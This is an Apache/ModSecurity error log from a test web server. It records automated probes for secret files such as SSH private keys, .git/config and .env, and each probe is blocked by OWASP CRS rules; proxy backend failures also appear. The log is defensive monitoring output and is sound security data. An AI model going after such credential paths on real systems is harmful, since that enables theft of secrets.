&quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9O1AAAAAY&quot;]
[Tue May 09 10:08:49.706547 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9O1AAAAAY&quot;]
[Tue May 09 10:08:49.706760 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9O1AAAAAY&quot;]
[Tue May 09 10:08:49.719061 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Matched phrase &quot;.ssh/id_dsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_dsa found within REQUEST_FILENAME: /.ssh/id_dsa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_dsa&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9O1QAAAAY&quot;]
[Tue May 09 10:08:49.719299 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_dsa&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9O1QAAAAY&quot;]
[Tue May 09 10:08:49.719511 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_dsa&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9O1QAAAAY&quot;]
[Tue May 09 10:08:49.785844 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Matched phrase &quot;/composer.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9O2gAAAAY&quot;]
[Tue May 09 10:08:49.786110 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9O2gAAAAY&quot;]
[Tue May 09 10:08:49.786324 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9O2gAAAAY&quot;]
[Tue May 09 10:08:49.798951 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Matched phrase &quot;/composer.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9O2wAAAAY&quot;]
[Tue May 09 10:08:49.799219 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9O2wAAAAY&quot;]
[Tue May 09 10:08:49.799426 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9O2wAAAAY&quot;]
[Wed May 10 11:56:40.784495 2023] [:error] [pid 2588463] [client 217.71.68.23:14332] [client 217.71.68.23] ModSecurity: Warning. Pattern match &quot;(?&lt;!&amp;(?:[aAoOuUyY]uml)|&amp;(?:[aAeEiIoOuU]circ)|&amp;(?:[eEiIoOuUyY]acute)|&amp;(?:[aAeEiIoOuU]grave)|&amp;(?:[cC]cedil)|&amp;(?:[aAnNoO]tilde)|&amp;(?:amp)|&amp;(?:apos));|[&#039;\\&quot;=]&quot; at FILES:image. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;114&quot;] [id &quot;920120&quot;] [msg &quot;Attempted multipart/form-data bypass&quot;] [data &quot;Aggiungi un&#039;intestazione.png&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ&quot;] [tag &quot;CAPEC-272&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/645b6a4934fbcd15c3070e8b&quot;] [unique_id &quot;ZFtqWPSXpiR1mj6DcKW3dAAAAAY&quot;], referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b6a4934fbcd15c3070e8b
[Wed May 10 11:56:40.787046 2023] [:error] [pid 2588463] [client 217.71.68.23:14332] [client 217.71.68.23] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/645b6a4934fbcd15c3070e8b&quot;] [unique_id &quot;ZFtqWPSXpiR1mj6DcKW3dAAAAAY&quot;], referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b6a4934fbcd15c3070e8b
[Wed May 10 11:56:40.787320 2023] [:error] [pid 2588463] [client 217.71.68.23:14332] [client 217.71.68.23] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/645b6a4934fbcd15c3070e8b&quot;] [unique_id &quot;ZFtqWPSXpiR1mj6DcKW3dAAAAAY&quot;], referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b6a4934fbcd15c3070e8b
[Fri May 12 10:08:26.048059 2023] [proxy:error] [pid 2623527] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Fri May 12 10:08:26.052408 2023] [proxy_http:error] [pid 2623527] [client 213.21.147.71:53964] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/admin/partner/645b83a134fbcd15c307132c
[Fri May 12 10:08:26.134913 2023] [proxy:error] [pid 2684415] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Fri May 12 10:08:26.134936 2023] [proxy_http:error] [pid 2684415] [client 213.21.147.71:53967] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/admin/partner/645b83a134fbcd15c307132c
[Fri May 12 10:08:29.739057 2023] [proxy:error] [pid 2624300] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Fri May 12 10:08:29.739102 2023] [proxy_http:error] [pid 2624300] [client 213.21.147.71:53966] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Fri May 12 10:08:29.739186 2023] [proxy:error] [pid 2624304] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Fri May 12 10:08:29.739202 2023] [proxy_http:error] [pid 2624304] [client 213.21.147.71:53965] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Mon May 15 11:21:00.133400 2023] [proxy:error] [pid 42845] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Mon May 15 11:21:00.135242 2023] [proxy:error] [pid 42880] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Mon May 15 11:21:00.186585 2023] [proxy_http:error] [pid 42845] [client 95.248.167.228:52545] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Mon May 15 11:21:00.186623 2023] [proxy_http:error] [pid 42880] [client 95.248.167.228:52544] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Mon May 15 11:21:06.382021 2023] [proxy:error] [pid 47392] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Mon May 15 11:21:06.382043 2023] [proxy_http:error] [pid 47392] [client 95.248.167.228:52555] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Mon May 15 11:21:06.388767 2023] [proxy:error] [pid 47389] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Mon May 15 11:21:06.388784 2023] [proxy_http:error] [pid 47389] [client 95.248.167.228:52557] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Tue May 16 12:07:42.952800 2023] [proxy_http:error] [pid 76244] (70007)The timeout specified has expired: [client 5.92.59.232:52118] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b870ff2dcfd21226f859b
[Tue May 16 12:07:42.955302 2023] [proxy:error] [pid 76244] [client 5.92.59.232:52118] AH00898: Error reading from remote server returned by /rest/media/645b870ff2dcfd21226f859b, referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b870ff2dcfd21226f859b
[Tue May 16 12:08:03.471424 2023] [proxy_http:error] [pid 61659] (70007)The timeout specified has expired: [client 5.92.59.232:52120] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b870ff2dcfd21226f859b
[Tue May 16 12:08:03.471471 2023] [proxy:error] [pid 61659] [client 5.92.59.232:52120] AH00898: Error reading from remote server returned by /rest/media/645b870ff2dcfd21226f859b, referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b870ff2dcfd21226f859b
[Tue May 16 12:08:31.112378 2023] [proxy_http:error] [pid 76256] (70007)The timeout specified has expired: [client 5.92.59.232:52138] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b870ff2dcfd21226f859b
[Tue May 16 12:08:31.112429 2023] [proxy:error] [pid 76256] [client 5.92.59.232:52138] AH00898: Error reading from remote server returned by /rest/media/645b870ff2dcfd21226f859b, referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b870ff2dcfd21226f859b
[Tue May 16 12:09:12.795818 2023] [proxy_http:error] [pid 76257] (70007)The timeout specified has expired: [client 5.92.59.232:52160] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b8676f2dcfd21226f851e
[Tue May 16 12:09:12.795871 2023] [proxy:error] [pid 76257] [client 5.92.59.232:52160] AH00898: Error reading from remote server returned by /rest/media/645b8676f2dcfd21226f851e, referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b8676f2dcfd21226f851e
[Tue May 16 12:10:11.034249 2023] [proxy_http:error] [pid 76295] (20014)Internal error (specific information not available): [client 213.21.147.71:59725] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/editReference;referenceId=644be5a7d680c6923c393386
[Tue May 16 12:10:11.034306 2023] [proxy:error] [pid 76295] [client 213.21.147.71:59725] AH00898: Error reading from remote server returned by /rest/media/644be5a7d680c6923c393386, referer: https://pms.test.indacotrentino.com/editReference;referenceId=644be5a7d680c6923c393386
[Tue May 16 12:10:11.034811 2023] [proxy_http:error] [pid 76280] (20014)Internal error (specific information not available): [client 5.92.59.232:52200] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b8676f2dcfd21226f851e
[Tue May 16 12:10:11.034846 2023] [proxy:error] [pid 76280] [client 5.92.59.232:52200] AH00898: Error reading from remote server returned by /rest/media/645b8676f2dcfd21226f851e, referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b8676f2dcfd21226f851e
[Tue May 16 12:10:11.211815 2023] [proxy_http:error] [pid 60068] (20014)Internal error (specific information not available): [client 5.92.59.232:52191] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b8676f2dcfd21226f851e
[Tue May 16 12:10:11.211852 2023] [proxy:error] [pid 60068] [client 5.92.59.232:52191] AH00898: Error reading from remote server returned by /rest/media/645b8676f2dcfd21226f851e, referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b8676f2dcfd21226f851e
[Tue May 16 12:10:11.213457 2023] [proxy_http:error] [pid 76260] (20014)Internal error (specific information not available): [client 5.92.59.232:52181] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b8676f2dcfd21226f851e
[Tue May 16 12:10:11.213475 2023] [proxy:error] [pid 76260] [client 5.92.59.232:52181] AH00898: Error reading from remote server returned by /rest/media/645b8676f2dcfd21226f851e, referer: https://pms.test.indacotrentino.com/editReference;referenceId=645b8676f2dcfd21226f851e
[Tue May 16 12:12:39.549074 2023] [proxy_http:error] [pid 76260] (20014)Internal error (specific information not available): [client 213.21.147.71:60620] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/editReference;referenceId=644be5a7d680c6923c393386
[Tue May 16 12:12:39.549111 2023] [proxy:error] [pid 76260] [client 213.21.147.71:60620] AH00898: Error reading from remote server returned by /rest/media/644be5a7d680c6923c393386, referer: https://pms.test.indacotrentino.com/editReference;referenceId=644be5a7d680c6923c393386
[Fri May 19 09:49:07.970691 2023] [proxy_http:error] [pid 117755] (104)Connection reset by peer: [client 217.71.68.23:24701] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/admin/warehouse-details;id=632dd666c67848346c8115c0;partnerId=632dd5c81d877a2ed9c6d153
[Thu Jun 29 17:42:34.167968 2023] [proxy:error] [pid 326269] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Thu Jun 29 17:42:34.177303 2023] [proxy_http:error] [pid 326269] [client 82.52.46.7:63062] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/orders
[Fri Jul 07 14:44:20.797534 2023] [proxy:error] [pid 507535] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Fri Jul 07 14:44:20.803715 2023] [proxy_http:error] [pid 507535] [client 217.71.68.23:20209] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/orders
[Fri Jul 07 21:38:24.785053 2023] [:error] [pid 516263] [client 91.213.50.8:32876] [client 91.213.50.8] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZKhpsH2nK4GdPBWvTAI4DQAAAAg&quot;]
[Fri Jul 07 21:38:24.785390 2023] [:error] [pid 516263] [client 91.213.50.8:32876] [client 91.213.50.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZKhpsH2nK4GdPBWvTAI4DQAAAAg&quot;]
[Fri Jul 07 21:38:24.787089 2023] [:error] [pid 516263] [client 91.213.50.8:32876] [client 91.213.50.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZKhpsH2nK4GdPBWvTAI4DQAAAAg&quot;]
[Fri Jul 07 21:38:28.016983 2023] [authz_core:error] [pid 516298] [client 142.93.153.3:53558] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Fri Jul 07 21:38:29.393788 2023] [:error] [pid 516260] [client 142.93.153.3:53764] [client 142.93.153.3] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZKhptQah-CQgYU6zEAXU6AAAAAw&quot;]
[Fri Jul 07 21:38:29.394009 2023] [:error] [pid 516260] [client 142.93.153.3:53764] [client 142.93.153.3] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZKhptQah-CQgYU6zEAXU6AAAAAw&quot;]
[Fri Jul 07 21:38:29.394164 2023] [:error] [pid 516260] [client 142.93.153.3:53764] [client 142.93.153.3] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZKhptQah-CQgYU6zEAXU6AAAAAw&quot;]
[Fri Jul 07 21:38:29.828010 2023] [:error] [pid 516297] [client 142.93.153.3:53840] [client 142.93.153.3] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZKhptUFqXNkF48M1IYnzMgAAAAE&quot;]
[Fri Jul 07 21:38:29.831126 2023] [:error] [pid 516297] [client 142.93.153.3:53840] [client 142.93.153.3] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZKhptUFqXNkF48M1IYnzMgAAAAE&quot;]
